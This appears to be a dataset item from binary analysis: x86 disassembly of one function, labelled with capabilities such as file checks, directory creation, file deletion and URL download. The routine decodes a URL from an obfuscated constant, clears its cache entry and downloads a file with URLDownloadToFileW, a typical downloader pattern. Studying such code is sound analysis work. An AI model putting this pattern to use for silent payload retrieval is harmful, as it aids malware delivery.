Function at 0x10006380
Capabilities:
Check if file exists
Create directory
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1011f3ac
mov eax, dword fs:[0]
push eax
sub esp, 0x28c
mov eax, dword [0x101694f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x1014ac5c
lea ecx, [ebp - 0x40]
call fcn.10003940
mov dword [ebp - 4], 0
xor eax, eax
mov word [ebp - 0x24c], ax
push 0x206
push 0
lea ecx, [ebp - 0x24a]
push ecx
call fcn.100fd100
add esp, 0xc
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x3c], 0
lea edx, [ebp - 0x258]
push edx
call fcn.100058b0
add esp, 4
mov dword [ebp - 0x274], eax
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x278], eax
mov byte [ebp - 4], 1
push 0x1014ac60
mov ecx, dword [ebp - 0x278]
push ecx
lea edx, [ebp - 0x25c]
push edx
call fcn.10002c00
add esp, 0xc
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x280], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x280]
call fcn.10004490
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x251], al
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x25c]
call fcn.10004630
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x258]
call fcn.10004630
movzx ecx, byte [ebp - 0x251]
test ecx, ecx
je 0x10006519
lea edx, [ebp - 0x260]
push edx
call fcn.100058b0
add esp, 4
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0x284]
mov dword [ebp - 0x288], eax
mov byte [ebp - 4], 3
push 0x1014ac70
mov ecx, dword [ebp - 0x288]
push ecx
lea edx, [ebp - 0x264]
push edx
call fcn.10002c00
add esp, 0xc
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x290], eax
mov byte [ebp - 4], 4
push 0
mov ecx, dword [ebp - 0x290]
call fcn.10004490
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x264]
call fcn.10004630
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x260]
call fcn.10004630
call fcn.10005a90
push eax
push 0x1014ac80
lea ecx, [ebp - 0x40]
push ecx
call fcn.10003d30
add esp, 0xc
lea ecx, [ebp - 0x40]
call fcn.10004490
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10006552
lea ecx, [ebp - 0x40]
call fcn.10004490
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, 0xa736638b
push edx
lea ecx, [ebp - 0x38]
call fcn.10006980
mov dword [ebp - 0x294], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x298], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x298]
push ecx
call fcn.10004b10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x38]
call fcn.10006950
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
push 0
push 0
lea ecx, [ebp - 0x40]
call fcn.10004490
push eax
mov eax, dword [ebp - 0x3c]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0x250], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x268], ecx
mov edx, dword [ebp - 0x268]
push edx
call fcn.10006d29
add esp, 4
mov dword [ebp - 0x3c], 0
cmp dword [ebp - 0x250], 0
jne 0x10006603
mov dword [ebp - 0x26c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.10004630
mov eax, dword [ebp - 0x26c]
jmp 0x10006622
mov dword [ebp - 0x270], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.10004630
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100fb7fe
mov esp, ebp
pop ebp
ret